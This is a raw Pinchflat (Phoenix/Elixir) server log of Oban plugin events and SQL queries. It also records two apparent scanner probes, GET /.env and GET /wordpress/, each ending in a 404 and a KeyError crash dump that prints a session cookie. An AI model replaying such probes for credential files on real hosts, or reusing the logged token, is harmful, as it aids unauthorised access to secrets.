{"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.157 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:37:15.995 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:45.996 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.158 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:38:15.997 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:30.443 [info] GET /.env 10:38:30.444 [debug] QUERY OK source="settings" db=0.2ms idle=1395.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:38:30.444 [debug] QUERY OK source="settings" db=0.0ms idle=1395.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:38:30.444 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:38:30.444 [error] #PID<0.9585.0> running PinchflatWeb.Endpoint (connection #PID<0.9584.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 43002}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko/20100101 Firefox/47.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.9585.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko/20100101 Firefox/47.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFWv-sYdid7PIIABBwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 43002}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko/20100101 Firefox/47.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 43002}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko/20100101 Firefox/47.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.9585.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:47.0) Gecko/20100101 Firefox/47.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", (truncated) 10:38:45.998 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.159 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:39:15.999 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:46.000 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.160 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:40:16.001 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:46.002 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.161 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:41:16.003 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:46.004 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.162 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:42:16.005 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:46.006 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.163 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:43:16.007 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:46.008 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.164 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:44:16.009 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:46.010 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.165 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:45:16.011 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:46.012 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.166 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:46:16.013 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:46.014 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.167 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:47:16.016 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:46.017 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.168 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:48:16.018 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:46.019 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:54.745 [info] GET / 10:48:54.746 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 10:48:54.746 [debug] QUERY OK source="settings" db=0.1ms idle=1697.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:54.746 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1697.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 10:48:54.746 [debug] QUERY OK source="sources" db=0.0ms idle=1698.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 10:48:54.757 [debug] QUERY OK source="media_items" db=10.2ms idle=1285.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:48:54.757 [debug] QUERY OK source="media_items" db=0.4ms idle=295.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:48:54.758 [debug] QUERY OK source="settings" db=0.1ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:54.758 [debug] QUERY OK source="settings" db=0.0ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:54.758 [debug] QUERY OK source="settings" db=0.0ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:54.759 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 10:48:54.760 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 10:48:54.761 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 10:48:54.761 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 10:48:54.766 [debug] QUERY OK source="media_items" db=3.2ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 10:48:54.767 [debug] QUERY OK source="media_items" db=0.5ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 10:48:54.767 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 10:48:54.769 [info] Sent 200 in 23ms 10:48:56.606 [info] GET /wordpress/ 10:48:56.606 [debug] QUERY OK source="settings" db=0.2ms idle=558.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:56.607 [debug] QUERY OK source="settings" db=0.1ms idle=558.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:56.607 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:48:56.607 [error] #PID<0.9647.0> running PinchflatWeb.Endpoint (connection #PID<0.9645.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /wordpress/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wordpress/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44312}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT1dWWVRFRnZ5LXo1MnRnRkZUaldNSXpI.LaCR6Zvd4DA-6-FUeBL3DbC6bRGtvWJWzlR3T8HxTBQ", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT1dWWVRFRnZ5LXo1MnRnRkZUaldNSXpI.LaCR6Zvd4DA-6-FUeBL3DbC6bRGtvWJWzlR3T8HxTBQ" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.9647.0>, params: %{}, path_info: ["wordpress"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT1dWWVRFRnZ5LXo1MnRnRkZUaldNSXpI.LaCR6Zvd4DA-6-FUeBL3DbC6bRGtvWJWzlR3T8HxTBQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT1dWWVRFRnZ5LXo1MnRnRkZUaldNSXpI.LaCR6Zvd4DA-6-FUeBL3DbC6bRGtvWJWzlR3T8HxTBQ"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wordpress/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFXUbVLkhe0N4oABCSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wordpress/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44312}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT1dWWVRFRnZ5LXo1MnRnRkZUaldNSXpI.LaCR6Zvd4DA-6-FUeBL3DbC6bRGtvWJWzlR3T8HxTBQ", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9645.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wordpress/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 44312}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT1dWWVRFRnZ5LXo1MnRnRkZUaldNSXpI.LaCR6Zvd4DA-6-FUeBL3DbC6bRGtvWJWzlR3T8HxTBQ", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) Firefox/117.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYT1dWWVRFRnZ5LXo1MnRnRkZUaldNSXpI.LaCR6Zvd4DA-6-FUeBL3DbC6bRGtvWJWzlR3T8HxTBQ" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.9647.0>, params: %{}, path_info: ["wordpress"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Fu (truncated) 10:49:00.169 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:49:16.020 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:46.021 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 